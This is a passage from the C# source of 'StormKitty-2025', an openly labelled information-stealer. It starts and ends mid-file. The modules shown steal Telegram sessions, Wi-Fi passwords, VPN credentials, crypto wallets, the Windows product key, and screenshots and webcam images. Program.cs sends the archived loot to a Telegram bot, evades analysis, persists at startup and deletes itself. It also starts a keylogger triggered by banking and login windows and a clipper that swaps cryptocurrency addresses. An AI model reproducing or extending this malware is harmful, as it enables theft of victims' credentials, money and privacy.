43 | string name = new DirectoryInfo(dir).Name;
44 | if (name.Length == 16)
45 | {
46 | string copyTo = Path.Combine(sSaveDir, name);
47 | Filemanager.CopyDirectory(dir, copyTo);
48 | }
49 | }
50 | // Copy files
51 | foreach (string file in Files)
52 | {
53 | FileInfo finfo = new FileInfo(file);
54 | string name = finfo.Name;
55 | string copyTo = Path.Combine(sSaveDir, name);
56 | // Check file size
57 | if (finfo.Length > 5120)
58 | continue;
59 | // Copy session files
60 | if (name.EndsWith("s") && name.Length == 17)
61 | {
62 | finfo.CopyTo(copyTo);
63 | continue;
64 | }
65 | // Copy required files
66 | if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data"))
67 | finfo.CopyTo(copyTo);
68 | }
69 | Counter.Telegram = true;
70 | return true;
71 | }
72 | catch { return false; }
73 | }
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/System/ActiveWindows.cs:
--------------------------------------------------------------------------------
1 | using System.Diagnostics;
2 |
3 | namespace Stealer
4 | {
5 | internal sealed class ActiveWindows
6 | {
7 | public static void WriteWindows(string sSavePath)
8 | {
9 | Process[] processlist = Process.GetProcesses();
10 | foreach (Process process in processlist)
11 | try
12 | {
13 | if (!string.IsNullOrEmpty(process.MainWindowTitle))
14 | System.IO.File.AppendAllText(
15 | sSavePath + "\\Windows.txt",
16 | "NAME: " + process.ProcessName +
17 | "\n\tTITLE: " + process.MainWindowTitle +
18 | "\n\tPID: " + process.Id +
19 | "\n\tEXE: " + ProcessList.ProcessExecutablePath(process) +
20 | "\n\n"
21 | );
22 | } catch { }
23 | }
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/System/DesktopScreenshot.cs:
--------------------------------------------------------------------------------
1 | using System.Drawing;
2 | using System.Drawing.Imaging;
3 |
4 | namespace Stealer
5 | {
6 | internal sealed class DesktopScreenshot
7 | {
8 | public static bool Make(string sSavePath)
9 | {
10 | try
11 | {
12 | Rectangle bounds = System.Windows.Forms.Screen.GetBounds(Point.Empty);
13 | using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
14 | {
15 | using (Graphics g = Graphics.FromImage(bitmap))
16 | {
17 | g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
18 | }
19 | bitmap.Save(sSavePath + "\\Desktop.jpg", ImageFormat.Jpeg);
20 | }
21 | Counter.DesktopScreenshot = true;
22 | return true;
23 | }
24 | catch { return false; }
25 | }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/System/DirectoryTree.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Collections.Generic;
6 |
7 | namespace Stealer
8 | {
9 | internal sealed class DirectoryTree
10 | {
11 | // Directories
12 | private static List TargetDirs = new List
13 | {
14 | Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
15 | Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments),
16 | Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
17 | Environment.GetFolderPath(Environment.SpecialFolder.MyVideos),
18 | Environment.GetFolderPath(Environment.SpecialFolder.Startup),
19 | Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "Downloads"),
20 | Path.Combine(Environment.GetEnvironmentVariable("USERPROFILE"), "Dropbox"),
21 | Path.Combine(Environment.GetEnvironmentVariable("USERPROFILE"), "OneDrive"),
22 | Environment.GetEnvironmentVariable("TEMP")
23 | };
24 |
25 | // Get directories tree
26 | private static string GetDirectoryTree(string path, string indentation = "\t", int maxLevel = -1, int deep = 0)
27 | {
28 | if (!Directory.Exists(path)) return "Directory not exists";
29 | DirectoryInfo directory = new DirectoryInfo(path);
30 | StringBuilder builder = new StringBuilder();
31 | builder.AppendLine(string.Concat(Enumerable.Repeat(indentation, deep)) + directory.Name + "\\");
32 | if (maxLevel == -1 || maxLevel < deep)
33 | {
34 | try
35 | {
36 | foreach (var subdirectory in directory.GetDirectories())
37 | try
38 | {
39 | builder.Append(GetDirectoryTree(subdirectory.FullName, indentation, maxLevel, deep + 1));
40 | }
41 | catch (UnauthorizedAccessException) { continue; }
42 | } catch (UnauthorizedAccessException) { }
43 | }
44 | try
45 | {
46 | foreach (var file in directory.GetFiles())
47 | builder.AppendLine(string.Concat(Enumerable.Repeat(indentation, deep + 1)) + file.Name);
48 | }
49 | catch (UnauthorizedAccessException) { }
50 | return builder.ToString();
51 | }
52 |
53 | // Get directory name
54 | private static string GetDirectoryName(string path)
55 | {
56 | string name = new DirectoryInfo(path).Name;
57 | if (name.Length == 3)
58 | return "DRIVE-" + name.Replace(":\\", "");
59 |
60 | return name;
61 | }
62 |
63 | // Save directories tree
64 | public static void SaveDirectories(string sSavePath)
65 | {
66 | // Add USB, CD drives to directory structure
67 | foreach (DriveInfo drive in DriveInfo.GetDrives())
68 | if (drive.DriveType == DriveType.Removable && drive.IsReady)
69 | TargetDirs.Add(drive.RootDirectory.FullName);
70 | // Create tasks
71 | foreach (string path in TargetDirs)
72 | {
73 | try
74 | {
75 | string results = GetDirectoryTree(path);
76 | string dirname = GetDirectoryName(path);
77 | if (!results.Contains("Directory not exists"))
78 | File.WriteAllText(Path.Combine(sSavePath, dirname + ".txt"), results);
79 | }
80 | catch { }
81 | }
82 | }
83 |
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/System/ProcessList.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Diagnostics;
3 | using System.Management;
4 |
5 | namespace Stealer
6 | {
7 | internal sealed class ProcessList
8 | {
9 | // Save process list
10 | public static void WriteProcesses(string sSavePath)
11 | {
12 | foreach (Process process in Process.GetProcesses())
13 | {
14 | File.AppendAllText (
15 | sSavePath + "\\Process.txt",
16 | "NAME: " + process.ProcessName +
17 | "\n\tPID: " + process.Id +
18 | "\n\tEXE: " + ProcessExecutablePath(process) +
19 | "\n\n"
20 | );
21 | }
22 | }
23 |
24 | // Get process executable path
25 | public static string ProcessExecutablePath(Process process)
26 | {
27 | try
28 | {
29 | return process.MainModule.FileName;
30 | }
31 | catch
32 | {
33 | string query = "SELECT ExecutablePath, ProcessID FROM Win32_Process";
34 | ManagementObjectSearcher searcher = new ManagementObjectSearcher(query);
35 |
36 | foreach (ManagementObject item in searcher.Get())
37 | {
38 | object id = item["ProcessID"];
39 | object path = item["ExecutablePath"];
40 |
41 | if (path != null && id.ToString() == process.Id.ToString())
42 | {
43 | return path.ToString();
44 | }
45 | }
46 | }
47 |
48 | return "";
49 | }
50 |
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/System/ProductKey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Microsoft.Win32;
3 |
4 | namespace Stealer
5 | {
6 | public class ProductKey
7 | {
8 | ///
9 | /// Enumeration that specifies DigitalProductId version
10 | ///
11 | public enum DigitalProductIdVersion
12 | {
13 | ///
14 | /// All systems up to Windows 7 (Windows 7 and older versions)
15 | ///
16 | UpToWindows7,
17 | ///
18 | /// Windows 8 and up (Windows 8 and newer versions)
19 | ///
20 | Windows8AndUp
21 | }
22 |
23 | ///
24 | /// Decodes Windows Product Key from the DigitalProductId.
25 | /// This method applies to DigitalProductId from Windows 8 or newer versions of Windows.
26 | ///
27 | /// DigitalProductId to decode
28 | /// Decoded Windows Product Key as a string
29 | public static string DecodeProductKeyWin8AndUp(byte[] digitalProductId)
30 | {
31 | var key = String.Empty;
32 | const int keyOffset = 52;
33 | var isWin8 = (byte)((digitalProductId[66] / 6) & 1);
34 | digitalProductId[66] = (byte)((digitalProductId[66] & 0xf7) | (isWin8 & 2) * 4);
35 |
36 | const string digits = "BCDFGHJKMPQRTVWXY2346789";
37 | var last = 0;
38 | for (var i = 24; i >= 0; i--)
39 | {
40 | var current = 0;
41 | for (var j = 14; j >= 0; j--)
42 | {
43 | current = current * 256;
44 | current = digitalProductId[j + keyOffset] + current;
45 | digitalProductId[j + keyOffset] = (byte)(current / 24);
46 | current = current % 24;
47 | last = current;
48 | }
49 | key = digits[current] + key;
50 | }
51 |
52 | var keypart1 = key.Substring(1, last);
53 | var keypart2 = key.Substring(last + 1, key.Length - (last + 1));
54 | key = keypart1 + "N" + keypart2;
55 |
56 | for (var i = 5; i < key.Length; i += 6)
57 | {
58 | key = key.Insert(i, "-");
59 | }
60 |
61 | return key;
62 | }
63 |
64 | ///
65 | /// Decodes Windows Product Key from the DigitalProductId.
66 | /// This method applies to DigitalProductId from Windows 7 or lower versions of Windows.
67 | ///
68 | /// DigitalProductId to decode
69 | /// Decoded Windows Product Key as a string
70 | private static string DecodeProductKey(byte[] digitalProductId)
71 | {
72 | const int keyStartIndex = 52;
73 | const int keyEndIndex = keyStartIndex + 15;
74 | var digits = new[]
75 | {
76 | 'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P', 'Q', 'R',
77 | 'T', 'V', 'W', 'X', 'Y', '2', '3', '4', '6', '7', '8', '9',
78 | };
79 | const int decodeLength = 29;
80 | const int decodeStringLength = 15;
81 | var decodedChars = new char[decodeLength];
82 | var hexPid = new System.Collections.ArrayList();
83 | for (var i = keyStartIndex; i <= keyEndIndex; i++)
84 | {
85 | hexPid.Add(digitalProductId[i]);
86 | }
87 | for (var i = decodeLength - 1; i >= 0; i--)
88 | {
89 | // Every sixth char is a separator.
90 | if ((i + 1) % 6 == 0)
91 | {
92 | decodedChars[i] = '-';
93 | }
94 | else
95 | {
96 | // Do the actual decoding.
97 | var digitMapIndex = 0;
98 | for (var j = decodeStringLength - 1; j >= 0; j--)
99 | {
100 | var byteValue = (digitMapIndex << 8) | (byte)hexPid[j];
101 | hexPid[j] = (byte)(byteValue / 24);
102 | digitMapIndex = byteValue % 24;
103 | decodedChars[i] = digits[digitMapIndex];
104 | }
105 | }
106 | }
107 | return new string(decodedChars);
108 | }
109 |
110 | ///
111 | /// Decodes Windows Product Key from DigitalProductId with specified DigitalProductId version.
112 | ///
113 | ///
114 | ///
115 | ///
116 | private static string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion)
117 | {
118 |
119 | var productKey = digitalProductIdVersion == DigitalProductIdVersion.Windows8AndUp
120 | ? DecodeProductKeyWin8AndUp(digitalProductId)
121 | : DecodeProductKey(digitalProductId);
122 | return productKey;
123 | }
124 |
125 | public static string GetWindowsProductKeyFromRegistry()
126 | {
127 | var localKey =
128 | RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem
129 | ? RegistryView.Registry64
130 | : RegistryView.Registry32);
131 |
132 | var registryKeyValue = localKey.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion")?.GetValue("DigitalProductId");
133 | if (registryKeyValue == null)
134 | return "Failed to get DigitalProductId from registry";
135 | var digitalProductId = (byte[])registryKeyValue;
136 | localKey.Close();
137 | var isWin8OrUp =
138 | Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2
139 | ||
140 | Environment.OSVersion.Version.Major > 6;
141 |
142 | Counter.ProductKey = true;
143 | return GetWindowsProductKeyFromDigitalProductId(digitalProductId,
144 | isWin8OrUp ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7);
145 | }
146 |
147 |
148 |
149 | }
150 | }
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/System/WebcamScreenshot.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Drawing;
3 | using System.Windows.Forms;
4 | using System.Drawing.Imaging;
5 | using System.Runtime.InteropServices;
6 |
7 | namespace Stealer
8 | {
9 | internal sealed class WebcamScreenshot
10 | {
11 | [DllImport("avicap32.dll", EntryPoint = "capCreateCaptureWindowA")]
12 | public static extern IntPtr capCreateCaptureWindowA(string lpszWindowName, int dwStyle, int X, int Y, int nWidth, int nHeight, int hwndParent, int nID);
13 | [DllImport("user32", EntryPoint = "SendMessage")]
14 | public static extern int SendMessage(IntPtr hWnd, uint Msg, int wParam, int lParam);
15 |
16 | private static IntPtr Handle;
17 | private static int delay = 3000;
18 |
19 |
20 | // Get connected cameras count
21 | private static int GetConnectedCamerasCount()
22 | {
23 | int cameras = 0;
24 | try
25 | {
26 | using (var searcher = new System.Management.ManagementObjectSearcher("SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')"))
27 | foreach (var device in searcher.Get())
28 | cameras++;
29 | } catch { Console.WriteLine("GetConnectedCamerasCount : Query failed"); }
30 |
31 |
32 | return cameras;
33 | }
34 |
35 | // Create screenshot for password stealer
36 | public static bool Make(string sSavePath)
37 | {
38 | // If webcam disabled => skip
39 | if (StormKitty.Config.WebcamScreenshot != "1")
40 | return false;
41 |
42 | // If connected one camera
43 | if (GetConnectedCamerasCount() != 1)
44 | return false;
45 | try
46 | {
47 | Clipboard.Clear();
48 | Handle = capCreateCaptureWindowA("WebCap", 0, 0, 0, 320, 240, 0, 0);
49 | // Initialize webcamera
50 | SendMessage(Handle, 1034, 0, 0);
51 | SendMessage(Handle, 1074, 0, 0);
52 | // Delay
53 | System.Threading.Thread.Sleep(delay);
54 | // Capture frame
55 | SendMessage(Handle, 1084, 0, 0);
56 | SendMessage(Handle, 1054, 0, 0);
57 | // Stop webcamera
58 | SendMessage(Handle, 1035, 0, 0);
59 | // Save
60 | Image image = (Image)Clipboard.GetDataObject()
61 | .GetData(DataFormats.Bitmap);
62 | Clipboard.Clear();
63 | image.Save(sSavePath + "\\Webcam.jpg", ImageFormat.Jpeg);
64 | image.Dispose();
65 | Counter.WebcamScreenshot = true;
66 | }
67 | catch (Exception ex) {
68 | Console.WriteLine(ex);
69 | return false;
70 | };
71 |
72 | return true;
73 | }
74 |
75 |
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/System/Wifi.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using StormKitty;
5 |
6 | namespace Stealer
7 | {
8 | internal sealed class Wifi
9 | {
10 | // Get WiFi profile names
11 | private static string[] GetProfiles()
12 | {
13 | string output = CommandHelper.Run("/C chcp 65001 && netsh wlan show profile | findstr All");
14 | string[] wNames = output.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
15 | for (int i = 0; i < wNames.Length; i++)
16 | wNames[i] = wNames[i].Substring(wNames[i].LastIndexOf(':') + 1).Trim();
17 | return wNames;
18 | }
19 |
20 | // Get Wifi password by profile name
21 | private static string GetPassword(string profile)
22 | {
23 | string output = CommandHelper.Run($"/C chcp 65001 && netsh wlan show profile name=\"{profile}\" key=clear | findstr Key");
24 | return output.Split(':').Last().Trim();
25 | }
26 |
27 | // Save all wifi networks to file
28 | public static void ScanningNetworks(string sSavePath)
29 | {
30 | string output = CommandHelper.Run($"/C chcp 65001 && netsh wlan show networks mode=bssid");
31 | File.AppendAllText(sSavePath + "\\ScanningNetworks.txt", output);
32 | }
33 |
34 | // Save wifi networks with passwords to file
35 | public static void SavedNetworks(string sSavePath)
36 | {
37 | string[] profiles = GetProfiles();
38 | foreach (string profile in profiles)
39 | {
40 | // Skip
41 | if (profile.Equals("65001"))
42 | continue;
43 |
44 | Counter.SavedWifiNetworks++;
45 | string pwd = GetPassword(profile);
46 | string fmt = $"PROFILE: {profile}\nPASSWORD: {pwd}\n\n";
47 | File.AppendAllText(sSavePath + "\\SavedNetworks.txt", fmt);
48 | }
49 | }
50 |
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/VPN/NordVPN.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Xml;
4 | using System.Text;
5 | using System.Security.Cryptography;
6 |
7 | namespace Stealer
8 | {
9 | internal sealed class NordVPN
10 | {
11 | private static string Decode(string s)
12 | {
13 | try {
14 | return Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(s), null, DataProtectionScope.LocalMachine));
15 | } catch {
16 | return "";
17 | }
18 | }
19 |
20 | // Save("NordVPN");
21 | public static void Save(string sSavePath)
22 | {
23 | // "NordVPN" directory path
24 | DirectoryInfo vpn = new DirectoryInfo(Path.Combine(Paths.lappdata, "NordVPN"));
25 | // Stop if not exists
26 | if (!vpn.Exists)
27 | return;
28 |
29 | try
30 | {
31 | Directory.CreateDirectory(sSavePath);
32 | // Search user.config
33 | foreach (DirectoryInfo d in vpn.GetDirectories("NordVpn.exe*"))
34 | foreach (DirectoryInfo v in d.GetDirectories())
35 | {
36 | string userConfigPath = Path.Combine(v.FullName, "user.config");
37 | if (File.Exists(userConfigPath))
38 | {
39 | // Create directory with VPN version to collect accounts
40 | Directory.CreateDirectory(sSavePath + "\\" + v.Name);
41 |
42 | var doc = new XmlDocument();
43 | doc.Load(userConfigPath);
44 |
45 | string encodedUsername = doc.SelectSingleNode("//setting[@name='Username']/value").InnerText;
46 | string encodedPassword = doc.SelectSingleNode("//setting[@name='Password']/value").InnerText;
47 |
48 | if (encodedUsername != null && !string.IsNullOrEmpty(encodedUsername) &&
49 | encodedPassword != null && !string.IsNullOrEmpty(encodedPassword))
50 | {
51 | string username = Decode(encodedUsername);
52 | string password = Decode(encodedPassword);
53 |
54 | Counter.VPN++;
55 | File.AppendAllText(sSavePath + "\\" + v.Name + "\\accounts.txt", $"Username: {username}\nPassword: {password}\n\n");
56 | }
57 |
58 |
59 | }
60 | }
61 | }
62 | catch { }
63 | }
64 |
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/VPN/OpenVPN.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | namespace Stealer
5 | {
6 | internal sealed class OpenVPN
7 | {
8 | // Save("OpenVPN");
9 | public static void Save(string sSavePath)
10 | {
11 | // "OpenVPN connect" directory path
12 | string vpn = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "OpenVPN Connect\\profiles");
13 | // Stop if not exists
14 | if (!Directory.Exists(vpn))
15 | return;
16 | try
17 | {
18 | // Create directory to save profiles
19 | Directory.CreateDirectory(sSavePath + "\\profiles");
20 | // Steal .ovpn files
21 | foreach (string file in Directory.GetFiles(vpn))
22 | if (Path.GetExtension(file).Contains("ovpn"))
23 | {
24 | Counter.VPN++;
25 | File.Copy(file,
26 | Path.Combine(sSavePath, "profiles\\"
27 | + Path.GetFileName(file)));
28 | }
29 | }
30 | catch { }
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/VPN/ProtonVPN.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | namespace Stealer
5 | {
6 | internal sealed class ProtonVPN
7 | {
8 | // Save("ProtonVPN");
9 | public static void Save(string sSavePath)
10 | {
11 | // "ProtonVPN" directory path
12 | string vpn = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ProtonVPN");
13 | // Stop if not exists
14 | if (!Directory.Exists(vpn))
15 | return;
16 | try
17 | {
18 | // Steal user.config files
19 | foreach (string dir in Directory.GetDirectories(vpn))
20 | if (dir.Contains("ProtonVPN.exe"))
21 | foreach (string version in Directory.GetDirectories(dir))
22 | {
23 | string config_location = version + "\\user.config";
24 | string copy_directory = Path.Combine(
25 | sSavePath, new DirectoryInfo(Path.GetDirectoryName(config_location)).Name);
26 | if (!Directory.Exists(copy_directory))
27 | {
28 | Counter.VPN++;
29 | Directory.CreateDirectory(copy_directory);
30 | File.Copy(config_location, copy_directory + "\\user.config");
31 | }
32 | }
33 | }
34 | catch { }
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Wallets.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using Microsoft.Win32;
3 | using System.Collections.Generic;
4 | using StormKitty;
5 |
6 | namespace Stealer
7 | {
8 | internal sealed class Wallets
9 | {
10 | // Wallets list directories
11 | private static List sWalletsDirectories = new List
12 | {
13 | new string[] { "Zcash", Paths.appdata + "\\Zcash" },
14 | new string[] { "Armory", Paths.appdata + "\\Armory" },
15 | new string[] { "Bytecoin", Paths.appdata + "\\bytecoin" },
16 | new string[] { "Jaxx", Paths.appdata + "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb" },
17 | new string[] { "Exodus", Paths.appdata + "\\Exodus\\exodus.wallet" },
18 | new string[] { "Ethereum", Paths.appdata + "\\Ethereum\\keystore" },
19 | new string[] { "Electrum", Paths.appdata + "\\Electrum\\wallets" },
20 | new string[] { "AtomicWallet", Paths.appdata + "\\atomic\\Local Storage\\leveldb" },
21 | new string[] { "Guarda" , Paths.appdata + "\\Guarda\\Local Storage\\leveldb" },
22 | new string[] { "Coinomi", Paths.lappdata + "\\Coinomi\\Coinomi\\wallets" },
23 | };
24 | // Wallets list from registry
25 | private static string[] sWalletsRegistry = new string[]
26 | {
27 | "Litecoin",
28 | "Dash",
29 | "Bitcoin"
30 | };
31 |
32 | // Write wallet.dat
33 | public static void GetWallets(string sSaveDir)
34 | {
35 | try
36 | {
37 | Directory.CreateDirectory(sSaveDir);
38 |
39 | foreach (string[] wallet in sWalletsDirectories)
40 | CopyWalletFromDirectoryTo(sSaveDir, wallet[1], wallet[0]);
41 |
42 | foreach (string wallet in sWalletsRegistry)
43 | CopyWalletFromRegistryTo(sSaveDir, wallet);
44 |
45 | if (Counter.Wallets == 0)
46 | Filemanager.RecursiveDelete(sSaveDir);
47 |
48 | } catch { }
49 | }
50 |
51 | // Copy wallet files to directory
52 | private static void CopyWalletFromDirectoryTo(string sSaveDir, string sWalletDir, string sWalletName)
53 | {
54 | string cdir = sWalletDir;
55 | string sdir = Path.Combine(sSaveDir, sWalletName);
56 | if (Directory.Exists(cdir))
57 | {
58 | Filemanager.CopyDirectory(cdir, sdir);
59 | Counter.Wallets++;
60 | }
61 | }
62 |
63 | // Copy wallet from registry to directory
64 | private static void CopyWalletFromRegistryTo(string sSaveDir, string sWalletRegistry)
65 | {
66 | string sdir = Path.Combine(sSaveDir, sWalletRegistry);
67 | try
68 | {
69 | using (var registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey(sWalletRegistry).OpenSubKey($"{sWalletRegistry}-Qt"))
70 | {
71 | if (registryKey != null)
72 | {
73 | string cdir = registryKey.GetValue("strDataDir").ToString() + "\\wallets";
74 | if (Directory.Exists(cdir))
75 | {
76 | Filemanager.CopyDirectory(cdir, sdir);
77 | Counter.Wallets++;
78 | }
79 | }
80 | }
81 | }
82 | catch { }
83 | }
84 |
85 |
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Program.cs:
--------------------------------------------------------------------------------
1 | using Stealer;
2 | using System;
3 | using System.Net;
4 | using System.Threading;
5 |
6 | namespace StormKitty
7 | {
8 | class Program
9 | {
10 | [System.STAThreadAttribute]
11 | static void Main(string[] args)
12 | {
13 | Thread
14 | W_Thread = null,
15 | C_Thread = null;
16 |
17 | // SSL сучка
18 | ServicePointManager.Expect100Continue = true;
19 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
20 | ServicePointManager.DefaultConnectionLimit = 9999;
21 |
22 | // Mutex check
23 | Implant.MutexControl.Check();
24 |
25 |
26 | // If Telegram API or ID not exists => Self destruct.
27 | if (Config.TelegramAPI.Contains("---") || Config.TelegramID.Contains("---"))
28 | Implant.SelfDestruct.Melt();
29 |
30 | // Start delay
31 | if (Config.StartDelay == "1")
32 | Implant.StartDelay.Run();
33 |
34 | // Run AntiAnalysis modules
35 | if (Implant.AntiAnalysis.Run())
36 | Implant.AntiAnalysis.FakeErrorMessage();
37 |
38 | // Change working directory to appdata
39 | System.IO.Directory.SetCurrentDirectory(Paths.lappdata);
40 |
41 | // Load SharpZipLib
42 | if (!Libs.LoadRemoteLibrary(Libs.ZipLib))
43 | Implant.AntiAnalysis.FakeErrorMessage();
44 |
45 | // Decrypt config strings
46 | Config.Init();
47 |
48 | // Test telegram API token
49 |
50 |
51 | // Steal passwords
52 | string passwords = Passwords.Save();
53 | // Compress directory
54 | string archive = Filemanager.CreateArchive(passwords);
55 | // Send archive
56 | Telegram.Report.SendReport(archive);
57 |
58 | // Install to startup if enabled in config and not installed
59 | if (Config.Autorun == "1" && (Counter.BankingServices || Counter.CryptoServices))
60 | if (!Implant.Startup.IsInstalled() && !Implant.Startup.IsFromStartup())
61 | Implant.Startup.Install();
62 |
63 | // Run keylogger module
64 | if (Config.KeyloggerModule == "1" && Counter.BankingServices && Config.Autorun == "1")
65 | {
66 | Console.WriteLine("Starting keylogger modules...");
67 | W_Thread = WindowManager.MainThread;
68 | W_Thread.SetApartmentState(ApartmentState.STA);
69 | W_Thread.Start();
70 | }
71 |
72 | // Run clipper module
73 | if (Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1")
74 | {
75 | Console.WriteLine("Starting clipper modules...");
76 | C_Thread = ClipboardManager.MainThread;
77 | C_Thread.SetApartmentState(ApartmentState.STA);
78 | C_Thread.Start();
79 | }
80 |
81 | // Wait threads
82 | if (W_Thread != null) if (W_Thread.IsAlive) W_Thread.Join();
83 | if (W_Thread != null) if (C_Thread.IsAlive) C_Thread.Join();
84 |
85 | // Remove executable if running not from startup directory
86 | if (!Implant.Startup.IsFromStartup())
87 | Implant.SelfDestruct.Melt();
88 | }
89 | }
90 | }
91 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Общие сведения об этой сборке предоставляются следующим набором
6 | // набора атрибутов. Измените значения этих атрибутов для изменения сведений,
7 | // связанные с этой сборкой.
8 | [assembly: AssemblyTitle("Neko")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Neko")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Установка значения False для параметра ComVisible делает типы в этой сборке невидимыми
18 | // для компонентов COM. Если необходимо обратиться к типу в этой сборке через
19 | // из модели COM задайте для атрибута ComVisible этого типа значение true.
20 | [assembly: ComVisible(false)]
21 |
22 | // Следующий GUID представляет идентификатор typelib, если этот проект доступен из модели COM
23 | [assembly: Guid("a16abbb4-985b-4db2-a80c-21268b26c73d")]
24 |
25 | // Сведения о версии сборки состоят из указанных ниже четырех значений:
26 | //
27 | // Основной номер версии
28 | // Дополнительный номер версии
29 | // Номер сборки
30 | // Номер редакции
31 | //
32 | // Можно задать все значения или принять номера сборки и редакции по умолчанию
33 | // используя "*", как показано ниже:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/StormKitty.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | C:\Users\Lenovo\AppMods\|publish\
5 |
6 |
7 |
8 |
9 |
10 | ru-RU
11 | false
12 |
13 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/config.cs:
--------------------------------------------------------------------------------
1 | using StormKitty.Implant;
2 | using System.Collections.Generic;
3 |
4 | namespace StormKitty
5 | {
6 | internal sealed class Config
7 | {
8 | // Telegram bot API key
9 | public static string TelegramAPI = "--- Telegram API ---";
10 | // Telegram chat ID
11 | public static string TelegramID = "--- Telegram ID ---";
12 |
13 | // Application mutex (random)
14 | public static string Mutex = "--- Mutex ---";
15 | // Anti VM, SandBox, Any.Run, Emulator, Debugger, Process
16 | public static string AntiAnalysis = "--- AntiAnalysis ---";
17 | // Drop and Hide executable to startup directory
18 | public static string Autorun = "--- Startup ---";
19 | // Random start delay (0-10 seconds)
20 | public static string StartDelay = "--- StartDelay ---";
21 |
22 | // Create web-camera and desktop screenshot when user watching NSFW content
23 | public static string WebcamScreenshot = "--- WebcamScreenshot ---";
24 | // Run keylogger when user opened log-in form, banking service or messenger
25 | public static string KeyloggerModule = "--- Keylogger ---";
26 | // Run clipper when user opened cryptocurrency application
27 | public static string ClipperModule = "--- Clipper ---";
28 |
29 | // Clipper addresses:
30 | public static Dictionary ClipperAddresses = new Dictionary() // Адреса для замены
31 | {
32 | {"btc", "--- ClipperBTC ---" }, // Bitcoin
33 | {"eth", "--- ClipperETH ---" }, // Ethereum
34 | {"xmr", "--- ClipperXMR ---" }, // Monero
35 | {"xlm", "--- ClipperXLM ---" }, // Stellar
36 | {"xrp", "--- ClipperXRP ---" }, // Ripple
37 | {"ltc", "--- ClipperLTC ---" }, // Litecoin
38 | {"bch", "--- ClipperBCH ---" }, // Bitcoin Cash
39 | };
40 |
41 | // Start keylogger when active window title contains this text:
42 | public static string[] KeyloggerServices = new string[]
43 | {
44 | "facebook", "twitter",
45 | "chat", "telegram", "skype", "discord", "viber", "message",
46 | "gmail", "protonmail", "outlook",
47 | "password", "encryption", "account", "login", "key", "sign in", "пароль",
48 | "bank", "банк", "credit", "card", "кредит",
49 | "shop", "buy", "sell", "купить",
50 | };
51 | public static string[] BankingServices = new string[] {
